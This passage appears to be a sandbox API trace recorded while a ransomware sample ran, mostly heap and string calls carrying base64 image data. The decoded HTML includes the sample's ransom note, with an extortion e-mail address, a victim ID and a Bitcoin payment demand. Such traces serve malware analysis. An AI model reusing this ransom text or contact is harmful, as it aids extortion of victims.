JaVoFUa7TcGRnCz2XwPrdg3Ho9jWVEURSCEu0KVhnbBHvxU4cxMjlJpkUwm0w5P0un03128eHEe30P2gPPAlbHLOvHCCy/8vFqtfgnAtm0ymQzlcpqZmXzb7gYOIFxZ9VIUiaIITDPK0NAQAIqiWHfcccd9QKJX/bwWBqmiHw5mhoaGsKyhq9rewKkKpDefL1GtVqnVltoeqed59Zdffvlv8J2qKr6XXOp1p0ul0p9KKatA63GWEvV6lVzOP1TgI4RCoRXOxUNVHUKhOPF4vN3m2NjYPfi+SLjX/b0cAyNYCHEP+CnHcDiMZcVQFAfP866YQqEQpmm2L9TCwhLVap5yuUyj0QAgl8u9lM1mgzDIAWaufvT14/nnn59vNpt/BdBoNCgWi5TLOebn8+3+GYZBOBxe8VwUxVfTlmW1R5pEIpG9gA7E+tHnbgyMYCnlveCX+oRQ0DTzquo5Go2i6/6wWNt2yGYrVKt5stlsu72TJ0/+Pb70OnRI7guEEP89mM/lctRqefL5GrbtH9IwDCKRSHtkSPckhIummahqJ1ETCoVuwZfe64Pgw4cP7xRC7ACfYMMIt7zKK1V0UCUKvM5SqYJt17HtOktLSwA0Go2Zs2fPzuCrZQ8/1u0bnn766ddd130DoFAo4DhNbLtGsdiJwoKRJFfesC5CSHQ91CZYVdXYjTfeeBO+J93Xp0sGQrDneXcF8wHB4CDlygQbhtH+n89XaDR8GxwMhMtms0fww6EmPsl9z+1KKf8afIfPNxVlCoXKMjW9sh2WCOFhGOE2wQC7du16B36iaXXDRdeJnlaTnvjdHTcJ1T0gEMteozDfeP2hkuo7jYlSE2W2RD1j0VSudHit4WFm5oba/2emMtRz85CZZ8L2y6lR97x5+wOJB0O6OLAzrs1HdKXRy/NYCUv2K+ai3AmAmClSr08znXkNZbZzquVikUqXGQkgpYFSr5MozTNhXwIgMVJ+3/vfn3THouqDcUutSnAV4V2iaf/kk98s9Kxu3BP18MTvjd0v4D8DD/SivV9y2ELwDEL7o8Nfm5veaGMbJviJR8f/ECH/gi0wQvM6Q04q8sP//GvpFzfSyIYIfuKj4x/Df+reT61bHjftahANewixJZ7ceNvAdQWFksrFWRPX9WmRklLZcd/9b76RPbnedtdtg7/8T1NDdVv+L1rk7r2pzt13S9L2DdjKUPuFJ9tYHaTXZFgsceCOGV74SZhsQUMIYrjiS8D7WV/hZP0EN2zt47TeSTUxYnPnAY1s4iF2v/NudGvoLfbexuWQ0qNRTHPx2M94+MF/4NvfjdKwBTFLedcj+0K/87ena9/CjxzWhHUT7MEjgX7/tf0V5pUHecfd70XYNcgMdNjRdQGhqFhDO7jlXe9l+kez7Nszxeun/LBq/7jxgb89XXsdOMEan1pcN8FCihtp2dlYUked2IkQGsweBz0BarjTF0ln/vJfeZXl7XXd53P5vldpV15l+2XrV9GulOAN8NGiZhVj/Hac8E5GkufbiyO6shOI4Bco1jTcZ90ESyHNQII9oaPqrabcOozdA9H9IL0WSW7r1+v67Zq4bBlyhXVd27TXt5YtW9/dVrBeLl8vL9uH7mV0HceDygC1keNrYNUIoWudQSiaKkz8hEiSQRHM5R54IGzSAem2prczufjbCMAb0CBI6a6gXd") returned 4096
[0102.830] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4c3630, Size=0x5222) returned 0x4c3630
[0102.831] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ba168, cbMultiByte=4096, lpWideCharStr=0x4c6850, cchWideChar=4096 | out: lpWideCharStr="rQWEfWq3eZrLZaCwj2eHuT21ouNJADUtPS7erzilgzX70lWHJ9kQuA2rrwA4AX9KV36AnBEokMLoh0WtPlJGwCudYoRN8B4VvASIAa8dfbJWikoXwClk6Anb8KuZ6vouWgxqn7N1IvOe7toyttG+zRscGbQK4xCiMPQuSW5f3zWuPw1DCEb/Kn0d+C/BFI/wCaSywjt/umHQQCG9xDhnv8bFJgg7sleMDkJu6F1HsAAe4qi0zxuyF6O8x+Dcpnuo7VdU6DgPTH5G89CZbdk4N/gdzBkzvyfojsA7dThjxx6iw/P3ac85PTFJaKaJpKKplg/217ePe9d7FzYqy1pYCdH4WFZ2HpleV2eeAS3DuKe+hktTrVLcGDJHfoAFg3taV2enaeL3/9Oc6cn7qiq9lcgTPnJvmb773Ae991Jx/7yAeJhEP+ypFHoJmD6tnWMeyB2+Beog82OJBcd3DkGjtakuuT+4vjp/n8l79Fo3ntse9SSl46cowz5y/ybx/7GGMjraHKY/8Ipj8HTsW324Pyovtgg3tX8mnbKxe81hQQ3f3/inVd27TXBzdI9/rutrpuICkh+k5fLbsNzl+Y5HNPffMtye3GYibPf/vcV6mUlvybRAoYek+rT81OX/o++TdsL61wb2t6bRvcCtgHEQoZEyAscBu4zRqf/8pzNO21q9TFbIGvffv7PsFuA8Lv8L1tt95ldvo8eVtUgn2/ILDB3YmO1oS3fJ7LtsFbvt+y9d1tBeu9zrw+1iblxSOvsZhdWvd5/OToKS7NL/jteXbLppcGLMHBFe0Nei/B3mWd7ie5ElCG2gS/fOz0xrovJUdePd2RYnMX2OWOWen3FNhg7y27umr0Lxft9VEtt9fr+IUAB8f1ODu98eHRJ8/P8aFf39/6Z4LXs0ed3hqtXPQWjINbFz7wor0uSetnbllV2p5zoVDF8zZ+afJL1a4EicbAPGhonS9syTh4mQ1epnb7RC6eryVcv9LjOb2p+Lie226zfR4Dg6+bt54EBwi86EGQKyVQa0tbKiJaLy7d2CkMD5kdCXbyDC7JQccG9xB9yEV3O1T9JLclXW4dEGjAjlSYuezGXgl540ioQ3BjfsAqOggve4c+Z7L6SG7QnpMHEQHgvfuTfP2ljRF8/+3JDsHl1wZLcB/qwb2LgwMHZ6U6cD+L9V6uHdY8sD9GxFr/Axa37Qhzy4jaCZPKr3YcxUFMbXa3chzc9qJ7EecGTs7l64NlEuQSuBVwGwyZLgd/fX2fD7Z0hd//QCdpQuko2GmWxfQDmeipFPc+F92W0D5LroQO2Zk2MffdYvDhe+Or/joLgKkJ/sVvDjMa8fx2nAosfa/T54FOspdRUj9scKej/SfXax24Ap4Cnv/Sln98p8VIRPLki0Ucj2siGVH4w99MsntYAadle0vf8237oBHEwT0U4Z4V/Dv5l4AEdzDkBsv1JWg44Pqvfrj7BsEXV9H1ZFiwO+EGbxCF2s+gdmzj12Rd8K/hFpTgFkGye36A5AK+Ta6D6/8/NukGs9fEhYxLvlQnGW7pdGeBnhrBNaHrGvYIPX4EUIIiWG6LB0Fua77htW3x0anV1YOlhKMXGx3nSr3RP4fNmpCdiKQH6P24aEX4Q01Fi6hlvy3SRBe5oovQ7m0DckWL3GB/QWc50Ca3CTh+YaDpwutzq/945dFpjw/cGmSsxkDR2JQv4QjRc+XR42oS/nvtRbe6Dn4vUz/d66Vcvi3dy/y38fj/RecmobU82KZht+3o8TmNprt6gk8tQrnWJGq0jq1MAJfWcRE2CCVw/beqipbQiU8GpJaDbar1jnqeWduLCzwpODYjO2pajvnnMehJblEJ7sTmsiPBgSrup1oOtmk2oek/medKwbFLa/+28NE5jQduKPp/RBxUFQb9GorABm89L5qOClb8j0QNRC0H21Rq7RLfm+kQVXvtiun4okmj2cRUWzeREQdl/cN/1oXABveQ4N6/SEMRLRs8ALUcbBOMhnQb/PxSaF3ddjzBa/N6R003hzbJi+6tlt6QBLc74gFeIMGXqeh+qeVgm0Yd6uVWfwS/WFz/e7Z/Ph/hXaOtYT91C2IDfpGMEkhw2+ABndt7PejdiI5At7RV9AAkV3pQyrfLe+eWoiw11n9Kr6VjOI6NJjw/SrJNMAc4Jku0bHAPm+y9F60IX8ICR7btqMjOvJCt9cEy0SX1orNctJZfa5tCtqOeFzf2ju26q3IiE+6o6bo5eBXdYxvc+y+fKQqdsTN9lFw8Xz1Xcu1Dn8oPEdE2NsTmjWyMX4v7nwygJGB4gGpaBDa4dwz3juDA0W0H630mVwJLi8seEf2TX/1Rb84lSGLVgKYC1oDCpa2ayfK1SqA+la7Xs8hOVitQzzJYJrqcrVYoFKji7lBopW2C5blLq38GeL0oKhAalBQrdELH3qB31aRlEtxnycUDuw6FeXp+y1+OvAo71hd6rRmXedG9QB9s8Aqpyl6TiweaDvfcDyy0po0EE6s9pz6jdZgtEwdfgavGwRuIc6/YtwykQaRBD0ZQCq6Ltxkryta0wT664mDvAggXRAr/DXyw5vQjAmQT/xN/S0AeRBFEd1w6IMkaFBTYoja4hbYNngO3FWqggAgDUZAmCNM/rFBBKi0JbeJ/dsEF0QBqIKotgi/HdUZqN1ruy9YjWOKnKsFXM1eg6k+XcxMkvbr/L/v9JXvndHC+snf+RJ8keBvrwpauB8suG7yN9UEC7latB0PLZ/olU6u9hAy86K0YBwd92pbgDaD31653mazgZ0UnaxurQtsGb0EJ3rbBPYDcymOyYNuL3igCCd5yBHd3altFrx9eqx68NYoNK0jqtgRvDMvqwd1ZoPVf0+04eCuhD2Oyelts2PaiN4agHtzDyud2HLyVsJbXEqwSvX+6cDuTtX6ILZrJEu0ObdvgDaFVD+5lpLQRgtsP7ujCoVQp+71qjoKV2XjPfhlRG/Mfda7lqXkdTVizZXG9TW6E4JPA/QDzCxpl4zy18h2E5h4AMw/KgIaaXi/wdKgnmJ99k5Fwmukzna/YZUrO/Hqb3cDXR72/lkL5fYBjJyJ88KFL/OyV59l9wx3E4ykUpffj+a5nOHaJhfQblAvHmdDKTM75T2lISfPvTleOATbreO3Aug2mBPHZ3x17xdDEAYBIyOW9B8poEY2ybeB527Z4LdAUj7jVYGEOXnk9itu6fqcWm8/+1x/mvwqcAQrA2bW0uyEW/vWD8QP7x83vq4poPxRk6JJo2EXZVtFrguMISlUV1+1QUqx7Z//kO7k/q9juIv7Y4GlgcS3tbljMPnpn/JEHbjX+j6UpN2y0rW10kC67v/ifL+b/cqHkFoELQAM4zhrV9IYHE7+x0Jh85aL9g2RYMcKGEjFUhoQQ18Eg5cHD9ahmyu7rL16oP/2Zfyh8s9KUDWAG/x1Ck/ijF9eEXhlKBdgD3A2Y4zE1rCjbAfFa0LA9J1dd9qBVCV8tN4EpYF2xZ69JsIB9wDjr+Fr1NnDxB4iX8VVyCZhlHZIboF9SJoAwoPfxGNczHPyHVwf4PYFtbGMbWw//H4sSVoS1YoLgAAAAAElFTkSuQmCC'>\r\n \r\n All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail fiasco911@protonmail.com
\r\n You PC id: 4paNrg
\r\n\x09\r\n \r\n\x09\x09You have to pay for decryption in Bitcoins. The price depends on how fast you write") returned 4096
[0102.831] CoInternetCombineUrlEx (in: pBaseUri=0x47c7a4, pwzRelativeUrl="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHgAAAB4CAYAAAA5ZDbSAAAABmJLR0QA/wD/AP+gvaeTAAAAB3RJTUUH1gQdASckuERAkwAAHNZJREFUeJztnXmQHNd93z+v77l2jj0BkCAJghBo0SYJUpRKJC2Ksmm5Uo4kp2iplEAFoRy6kirFSUqp+A+XzUrKqaQc5yqVXFIYiSqKkhzK0UGTkmxLlERTRUEUBJIgQNyLvbC7c+7cM328/NHTM7PAAtxjZnYJ7beqa3r6eP26v/27X3fDNraxjW1sYxvb2AyIze5Av3Hw4MExVVVTiqIkgYTneUJRlLyiKIVGo5F96qmnFje7j/3EdUXwo48+qkaj0fcBDwN3AweAibfYbQE4Chz1PO+FarX6w2eeecbtc1cHhuuC4E9+8pPvAz4OfAQY3WBzGSHENzzP+8qTTz75ww13bpPxtiX48ccfV6ampj4kpfz3wLuvtp1lWei6jqZpaJoGgOM4OI6DbdvU6/VrHeZnQoj/snv37m88/vjjXm/PYDB4WxJ86NChh4QQnwHe2b1cCEE0GiWRSBAOhwmHwyiK0rXen5eyw5XnedRqNSqVCoVCgXK5jJTy8kO+AfyrL37xiz/o0yn1DW8rgg8ePDimadqfAwfp6rtpmoyPj5NIJNB1HV0PYZoRDCOMrofQNANFUbt2kXiei+M0aTZr2HaVRqOCbdewbZtCocDi4uJK0v1lVVU//cQTTywM5ow3jrcNwYcPH35ESvkVYDhYFgqF2LFjB8lkEk0ziURShMP+vKIILEvDNFUMQ0NRQFV9CXZdiedJmk2HRsOlXnfwPInjNKhW81SreWy7Tj6f59KlS9Rqte6u5IQQ/+wLX/jCdwZ7BdaHtwPB4vDhw38spfxTQAVQVZWdO3cyNjaGYYQZGhonFIqj6xqxmEEsZmCaGmKVZycl1Os25bJNqdTEth1qtSLF4jzNZpVMJsPMzAyu23auPSnlf7z55pv/w1a3zVua4EOHDlmKonxVSvnhYFkikWD37t2YZohk8gbC4SSWpZFKWUSjRk+OWy43yeXq1OsOtVqBfH6Ger3K1NQUhUKhvZ3ned+pVqv/5Jlnnqldo7lNxZYl+LHHHgvbtv0t4DeCZTfccANjY2PEYqPE4zsxTZ3R0RDhsN6XPlSrDplMjXq9ydLSHOVyhoWFBWZmZtrbOI7zk1gs9luf/exny33pxAahbnYHVsJjjz0Wt237O8BDAJqmsXfvXkZGRhkZuZmhoQlSKYvx8Qi6rly7sQ1A1xWGhgwURUGICLoeRtM8otEIS0tLeJ6Hoig31uv13z5w4MBfHTt27Jox12ZgyxH86KOPGpqmPQu8D3xy9+3bRyIxzOjoXiKRIXbsCBON9kdqV4JlqUQiGratYVlxpGwSi0UpFAoByTts2354eHj4y5OTk87AOrYKbDmC77vvvieEEB8BMAyDffv2EY8PMzZ2G7FYmImJUF+l9mpQVUEspuM4CoYRx3FqxGK+JLuui6qquyzLuvv48eP/F9gyjteWIvjw4cN/BHwafE95//79DA2lGB3dy9CQydiYtWrPWFEULMsiFAoRiUSIRCJEo1EikQihUKid4VIUBdd1V0puXAEhIBrVcBwwjDiuWycaDZPL5fA8D13X9+3Zsyd58uTJ7wFv3eAAsGUIbuWTvwQoQgj27t1LPD7M+PhtxGImIyPmqtqxLItYLEYsFmuTqKpqy44KhBAoioKqqui6jmmahMNhdF1HSonjvLWGDYc1XFegaUPYdpVQyCSXywFgmuZ9o6OjZ8+fP//aBi5Hz7AlCP74xz+e1DTtu0AS4Oabb2Z4eISxsX3EYhbDw28d/pim2U5Rqury0+omVnSpgG6pVVUVy7KwLAvXdd+S6FBIbZEcxXGqGIZOoVBACCEikcj7bNt+Lp1Op9dyHfqBLUHwvffe+yRwP8Dw8DC7du1idPQ2IpEwIyPXJldRFOLxOLFYrJ13FkKg6zqGYWCaJoZhtFKYnSlYpqoqQog22YqiEAqFUFWVZrN5TdVtWSrNpkDTIkhZp9FoUKvVUBQlnEwm3/nGG298C9hUz3rTCT506NDvCCH+DHwpvPXWW0kmbyAWSzI6qiOEL2krTbquk0qlMAz/JlAUBdM0MU0TVVVpNGyy2SJzc1mmptJMTaWZnc2yuFigWKxg2w66rmFZZtsee56HlBJN07Asi2azieM4Kx4fJKGQQrOpIoSKYUA+n8d1XQzDuDmVSmUuXLjwCrBp9eVNJfhTn/qUadv2N4Hhjt0dIZm8keFhHU27ukdlWRapVKqtdk3TxLIsQJBOF3jjjWkuXFhkfj5LOp0mn89QLGYplfIUi0UKhSK5XIW5uQLp9BKaJohGwxiGgRAC13URQhAKhdqlxZUgBBiGwHEsbLuGaWpkMhkAIpHIndPT08/X6/VNU9WbSvAdd9zx74DfAxgdHWV8fILR0b3EYjrh8NVDoXA4TDKZRAiBqqrtsmA+X+LVVy8wO5shl5snn59maekS1Wq+TW6lUqBWW6LRKFEup6nVCjQaTQqFJouLBSIRg0gkhGEYbe86sMtXI1lVBSBQ1SjNZgnbblKtVlFVNToyMmKdPn36J0C1D5fwLbFpBB88eHBMUZSvA4aqqm3VHI3GSSSu3q1AcsFX6aFQCNf1OHVqmrNnF8jnL5HNTlIu51hcnGd2dpbp6WkWFhbIZDJkMhkWFxdZWFigVCph2w2gSbWaw7Zd8nmXer1BKhXDNH3P3XVdLMvCtu2rkqzrgmZTIKVAVV2y2Sye5xEKhX6lXC7/MJfLXWQT4uNNI/jAgQN/LIR4GGDXrl0MD48xPHwT8biCepVeGYbByMgIQggsy8I0Ter1BseOXWBhIUMmc45SKcvs7AwXLlxgaWnpqo6SlJJms0mxWCSdTuM4Dqrq0WgUcRydfL7K8HAMyzIRQuA4DpZlUa/Xu6tKy6DrAte1aDSKSOlRLBYRQmjRaDR06tSpnwKFFXfsIzaF4EOHDiWEEE8Dlq7r7Nmzh1TqZiIRi0hkZburKAqjo6NtL1fXder1JkePnieXS5PNniebTXP27FmKxeIyUqWUjVqtNlmr1SYbjcYl13UrmqZFhBBaaz2VSoVsNoth6LhuFSk18vkmo6MxTNPPRwckVyqVFW8aRQHPE4CJEA2y2Wwg/Xvm5+e/W6lU5oGBpjK1QR6sC/8SiAOMj49jmhFCoSGiUXHVsCSZTLZjVV3XaTSa/OIX58nnF8hmLzI/P8+lS5e693fy+fzL58+f/9HJkyfP2La9TOx0XVdvv/322/bs2fNAMpm8H9Acx+HcuXNMTEzgeS6e53H0KNxzzx5M00BKSb1eJ5VKcbUQNxKBRiOGaUYZHx9nenoaRVGse++999Bzzz03CZzrzSVcHQYuwY8//ri2tLT0FSCmqip79uwhmbyRaNTCslbeJxKJEIvFMAyj7fC89tpFMplFstnJto0NUCqVjr344ot/ceTIkR8vLCykPc8rA3lgCcgBS57nlRYWFubffPPN17LZ7Mujo6NjpmnuACiXy9i2jWGAohhUKh7j4/F2tgv8gXvNZvOKvgoBvgbXkbJOJpPB8zwsy7r59OnT33QcJ8MApXjgBN96662/LaX8A4CJiQmGh8dazpVEiCtjTUVRGBkZQdM0wuEwAGfOzDI/nyGTOc/MzAyLi+2x697k5ORTzz///NPFYrGMT+Zs63ceuABMAZOt+QvAuWKxeOnEiROvJxKJZiKR+FUhhFKtVlvxrEBVI7iuZHh4CE3TcBwHXdcpl8vtuLl7UlWJ61rU60vYdpNyuYyiKKZpmtNTU1Pn8W+2gWDgBN91113/CfgVIQQ33XQTqdSNRCJhTHNl1ZxIJLAsi2g0ihCCXK7I2bPzLC6eIZ1eYHZ2NtjUOX78+P946aWXgpBkGigCi8BZIIufVXLoFAI8wMa/AU5PTk6+put6fXR09D1CCLVSqbQSIA5SRonFQoTDJpqmYds2QojLx2sBgRQLPE/gefX2DWgYRvTEiRN/D2QYkEc9UII/8YlPDCuK8nlAjUajTExMkErtJhwGRbmSYE3TGB4ebjtVjuPy6qsXyWZnKBTSnDt3LlCZ3okTJz5z5MiRo/hqeBaoAWeANKu/mIW5ubmfDg0NNVKp1EOAKJVKDA3FUBRBva6xY0eynd5UFIVKpbKiV+2nvEPUanlKpRLNZhPDMMYXFxe/WyqV8sBARoAMtLCqKMqHAANgZGSEUCiBqmqo6pVqTkpJPB5H07R2KnJuLkOlUqRcTnPx4kU8z+dtdnb2//30pz99BV8S54AK8Gbrd60o//jHP/7zTCbzv8EfNz01NUW5nKZSWWJ21s9SGYaBqqrE4/EV+65pXsvjjzM87A8EFUKo+/fv/w1gZP1XcW0YNMEfBL8YkEgkiERS6LoLXHmBVFUlEom00o/QaNhcvJihUJgjm81SLvsCUK1WT37/+9//NlDCV8c14DS+6l0vGs8+++yn6/X6z8F3ujIZ/9hTUxkaDd+5CoVC7erVyrlyj3A4RSKRaFexUqnUewATiG6gf6vGwAh+7LHHdCnlI+B7xZqmY5pRdH1l6Y1Go8seN1lYyFGtlqjViszNzQEgpbRffvnlL7iuW8eXXBvf3vYiuV+en5//A6ABtMZHF6lUlpif92u/qqqiaRqxWOwqUuxiWTE0TSca9fmMRCJ3WJaVoFUa7TcGRnCz2XwPrdg3Ho9jWVEURSCEu0KVhnbBHvxU4cxMjlJpkUwm0w5P0un03128eHEe30P2gPPAlbHLOvHCCy/8vFqtfgnAtm0ymQzlcpqZmXzb7gYOIFxZ9VIUiaIITDPK0NAQAIqiWHfcccd9QKJX/bwWBqmiHw5mhoaGsKyhq9rewKkKpDefL1GtVqnVltoeqed59Zdffvlv8J2qKr6XXOp1p0ul0p9KKatA63GWEvV6lVzOP1TgI4RCoRXOxUNVHUKhOPF4vN3m2NjYPfi+SLjX/b0cAyNYCHEP+CnHcDiMZcVQFAfP866YQqEQpmm2L9TCwhLVap5yuUyj0QAgl8u9lM1mgzDIAWaufvT14/nnn59vNpt/BdBoNCgWi5TLOebn8+3+GYZBOBxe8VwUxVfTlmW1R5pEIpG9gA7E+tHnbgyMYCnlveCX+oRQ0DTzquo5Go2i6/6wWNt2yGYrVKt5stlsu72TJ0/+Pb70OnRI7guEEP89mM/lctRqefL5GrbtH9IwDCKRSHtkSPckhIummahqJ1ETCoVuwZfe64Pgw4cP7xRC7ACfYMMIt7zKK1V0UCUKvM5SqYJt17HtOktLSwA0Go2Zs2fPzuCrZQ8/1u0bnn766ddd130DoFAo4DhNbLtGsdiJwoKRJFfesC5CSHQ91CZYVdXYjTfeeBO+J93Xp0sGQrDneXcF8wHB4CDlygQbhtH+n89XaDR8GxwMhMtms0fww6EmPsl9z+1KKf8afIfPNxVlCoXKMjW9sh2WCOFhGOE2wQC7du16B36iaXXDRdeJnlaTnvjdHTcJ1T0gEMteozDfeP2hkuo7jYlSE2W2RD1j0VSudHit4WFm5oba/2emMtRz85CZZ8L2y6lR97x5+wOJB0O6OLAzrs1HdKXRy/NYCUv2K+ai3AmAmClSr08znXkNZbZzquVikUqXGQkgpYFSr5MozTNhXwIgMVJ+3/vfn3THouqDcUutSnAV4V2iaf/kk98s9Kxu3BP18MTvjd0v4D8DD/SivV9y2ELwDEL7o8Nfm5veaGMbJviJR8f/ECH/gi0wQvM6Q04q8sP//GvpFzfSyIYIfuKj4x/Df+reT61bHjftahANewixJZ7ceNvAdQWFksrFWRPX9WmRklLZcd/9b76RPbnedtdtg7/8T1NDdVv+L1rk7r2pzt13S9L2DdjKUPuFJ9tYHaTXZFgsceCOGV74SZhsQUMIYrjiS8D7WV/hZP0EN2zt47TeSTUxYnPnAY1s4iF2v/NudGvoLfbexuWQ0qNRTHPx2M94+MF/4NvfjdKwBTFLedcj+0K/87ena9/CjxzWhHUT7MEjgX7/tf0V5pUHecfd70XYNcgMdNjRdQGhqFhDO7jlXe9l+kez7Nszxeun/LBq/7jxgb89XXsdOMEan1pcN8FCihtp2dlYUked2IkQGsweBz0BarjTF0ln/vJfeZXl7XXd53P5vldpV15l+2XrV9GulOAN8NGiZhVj/Hac8E5GkufbiyO6shOI4Bco1jTcZ90ESyHNQII9oaPqrabcOozdA9H9IL0WSW7r1+v67Zq4bBlyhXVd27TXt5YtW9/dVrBeLl8vL9uH7mV0HceDygC1keNrYNUIoWudQSiaKkz8hEiSQRHM5R54IGzSAem2prczufjbCMAb0CBI6a6gXdrQWEfWq3eZrLZaCwj2eHuT21ouNJADUtPS7erzilgzX70lWHJ9kQuA2rrwA4AX9KV36AnBEokMLoh0WtPlJGwCudYoRN8B4VvASIAa8dfbJWikoXwClk6Anb8KuZ6vouWgxqn7N1IvOe7toyttG+zRscGbQK4xCiMPQuSW5f3zWuPw1DCEb/Kn0d+C/BFI/wCaSywjt/umHQQCG9xDhnv8bFJgg7sleMDkJu6F1HsAAe4qi0zxuyF6O8x+Dcpnuo7VdU6DgPTH5G89CZbdk4N/gdzBkzvyfojsA7dThjxx6iw/P3ac85PTFJaKaJpKKplg/217ePe9d7FzYqy1pYCdH4WFZ2HpleV2eeAS3DuKe+hktTrVLcGDJHfoAFg3taV2enaeL3/9Oc6cn7qiq9lcgTPnJvmb773Ae991Jx/7yAeJhEP+ypFHoJmD6tnWMeyB2+Beog82OJBcd3DkGjtakuuT+4vjp/n8l79Fo3ntse9SSl46cowz5y/ybx/7GGMjraHKY/8Ipj8HTsW324Pyovtgg3tX8mnbKxe81hQQ3f3/inVd27TXBzdI9/rutrpuICkh+k5fLbsNzl+Y5HNPffMtye3GYibPf/vcV6mUlvybRAoYek+rT81OX/o++TdsL61wb2t6bRvcCtgHEQoZEyAscBu4zRqf/8pzNO21q9TFbIGvffv7PsFuA8Lv8L1tt95ldvo8eVtUgn2/ILDB3YmO1oS3fJ7LtsFbvt+y9d1tBeu9zrw+1iblxSOvsZhdWvd5/OToKS7NL/jteXbLppcGLMHBFe0Nei/B3mWd7ie5ElCG2gS/fOz0xrovJUdePd2RYnMX2OWOWen3FNhg7y27umr0Lxft9VEtt9fr+IUAB8f1ODu98eHRJ8/P8aFf39/6Z4LXs0ed3hqtXPQWjINbFz7wor0uSetnbllV2p5zoVDF8zZ+afJL1a4EicbAPGhonS9syTh4mQ1epnb7RC6eryVcv9LjOb2p+Lie226zfR4Dg6+bt54EBwi86EGQKyVQa0tbKiJaLy7d2CkMD5kdCXbyDC7JQccG9xB9yEV3O1T9JLclXW4dEGjAjlSYuezGXgl540ioQ3BjfsAqOggve4c+Z7L6SG7QnpMHEQHgvfuTfP2ljRF8/+3JDsHl1wZLcB/qwb2LgwMHZ6U6cD+L9V6uHdY8sD9GxFr/Axa37Qhzy4jaCZPKr3YcxUFMbXa3chzc9qJ7EecGTs7l64NlEuQSuBVwGwyZLgd/fX2fD7Z0hd//QCdpQuko2GmWxfQDmeipFPc+F92W0D5LroQO2Zk2MffdYvDhe+Or/joLgKkJ/sVvDjMa8fx2nAosfa/T54FOspdRUj9scKej/SfXax24Ap4Cnv/Sln98p8VIRPLki0Ucj2siGVH4w99MsntYAadle0vf8237oBHEwT0U4Z4V/Dv5l4AEdzDkBsv1JWg44Pqvfrj7BsEXV9H1ZFiwO+EGbxCF2s+gdmzj12Rd8K/hFpTgFkGye36A5AK+Ta6D6/8/NukGs9fEhYxLvlQnGW7pdGeBnhrBNaHrGvYIPX4EUIIiWG6LB0Fua77htW3x0anV1YOlhKMXGx3nSr3RP4fNmpCdiKQH6P24aEX4Q01Fi6hlvy3SRBe5oovQ7m0DckWL3GB/QWc50Ca3CTh+YaDpwutzq/945dFpjw/cGmSsxkDR2JQv4QjRc+XR42oS/nvtRbe6Dn4vUz/d66Vcvi3dy/y38fj/RecmobU82KZht+3o8TmNprt6gk8tQrnWJGq0jq1MAJfWcRE2CCVw/beqipbQiU8GpJaDbar1jnqeWduLCzwpODYjO2pajvnnMehJblEJ7sTmsiPBgSrup1oOtmk2oek/medKwbFLa/+28NE5jQduKPp/RBxUFQb9GorABm89L5qOClb8j0QNRC0H21Rq7RLfm+kQVXvtiun4okmj2cRUWzeREQdl/cN/1oXABveQ4N6/SEMRLRs8ALUcbBOMhnQb/PxSaF3ddjzBa/N6R003hzbJi+6tlt6QBLc74gFeIMGXqeh+qeVgm0Yd6uVWfwS/WFz/e7Z/Ph/hXaOtYT91C2IDfpGMEkhw2+ABndt7PejdiI5At7RV9AAkV3pQyrfLe+eWoiw11n9Kr6VjOI6NJjw/SrJNMAc4Jku0bHAPm+y9F60IX8ICR7btqMjOvJCt9cEy0SX1orNctJZfa5tCtqOeFzf2ju26q3IiE+6o6bo5eBXdYxvc+y+fKQqdsTN9lFw8Xz1Xcu1Dn8oPEdE2NsTmjWyMX4v7nwygJGB4gGpaBDa4dwz3juDA0W0H630mVwJLi8seEf2TX/1Rb84lSGLVgKYC1oDCpa2ayfK1SqA+la7Xs8hOVitQzzJYJrqcrVYoFKji7lBopW2C5blLq38GeL0oKhAalBQrdELH3qB31aRlEtxnycUDuw6FeXp+y1+OvAo71hd6rRmXedG9QB9s8Aqpyl6TiweaDvfcDyy0po0EE6s9pz6jdZgtEwdfgavGwRuIc6/YtwykQaRBD0ZQCq6Ltxkryta0wT664mDvAggXRAr/DXyw5vQjAmQT/xN/S0AeRBFEd1w6IMkaFBTYoja4hbYNngO3FWqggAgDUZAmCNM/rFBBKi0JbeJ/dsEF0QBqIKotgi/HdUZqN1ruy9YjWOKnKsFXM1eg6k+XcxMkvbr/L/v9JXvndHC+snf+RJ8keBvrwpauB8suG7yN9UEC7latB0PLZ/olU6u9hAy86K0YBwd92pbgDaD31653mazgZ0UnaxurQtsGb0EJ3rbBPYDcymOyYNuL3igCCd5yBHd3altFrx9eqx68NYoNK0jqtgRvDMvqwd1ZoPVf0+04eCuhD2Oyelts2PaiN4agHtzDyud2HLyVsJbXEqwSvX+6cDuTtX6ILZrJEu0ObdvgDaFVD+5lpLQRgtsP7ujCoVQp+71qjoKV2XjPfhlRG/Mfda7lqXkdTVizZXG9TW6E4JPA/QDzCxpl4zy18h2E5h4AMw/KgIaaXi/wdKgnmJ99k5Fwmukzna/YZUrO/Hqb3cDXR72/lkL5fYBjJyJ88KFL/OyV59l9wx3E4ykUpffj+a5nOHaJhfQblAvHmdDKTM75T2lISfPvTleOATbreO3Aug2mBPHZ3x17xdDEAYBIyOW9B8poEY2ybeB527Z4LdAUj7jVYGEOXnk9itu6fqcWm8/+1x/mvwqcAQrA2bW0uyEW/vWD8QP7x83vq4poPxRk6JJo2EXZVtFrguMISlUV1+1QUqx7Z//kO7k/q9juIv7Y4GlgcS3tbljMPnpn/JEHbjX+j6UpN2y0rW10kC67v/ifL+b/cqHkFoELQAM4zhrV9IYHE7+x0Jh85aL9g2RYMcKGEjFUhoQQ18Eg5cHD9ahmyu7rL16oP/2Zfyh8s9KUDWAG/x1Ck/ijF9eEXhlKBdgD3A2Y4zE1rCjbAfFa0LA9J1dd9qBVCV8tN4EpYF2xZ69JsIB9wDjr+Fr1NnDxB4iX8VVyCZhlHZIboF9SJoAwoPfxGNczHPyHVwf4PYFtbGMbWw//H4sSVoS1YoLgAAAAAElFTkSuQmCC", dwCombineFlags=0x6000000, ppCombinedUri=0x281f924, dwReserved=0x0 | out: ppCombinedUri=0x281f924*=0x47db0c) returned 0x0
[0102.836] IUri:GetScheme (in: This=0x47db0c, pdwScheme=0x281f8b4 | out: pdwScheme=0x281f8b4*=0x0) returned 0x0
[0102.836] IUnknown:Release (This=0x47db0c) returned 0x1
[0102.836] StrToIntW (lpSrc="9819") returned 9819
[0102.836] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x408) returned 0x4b8fb0
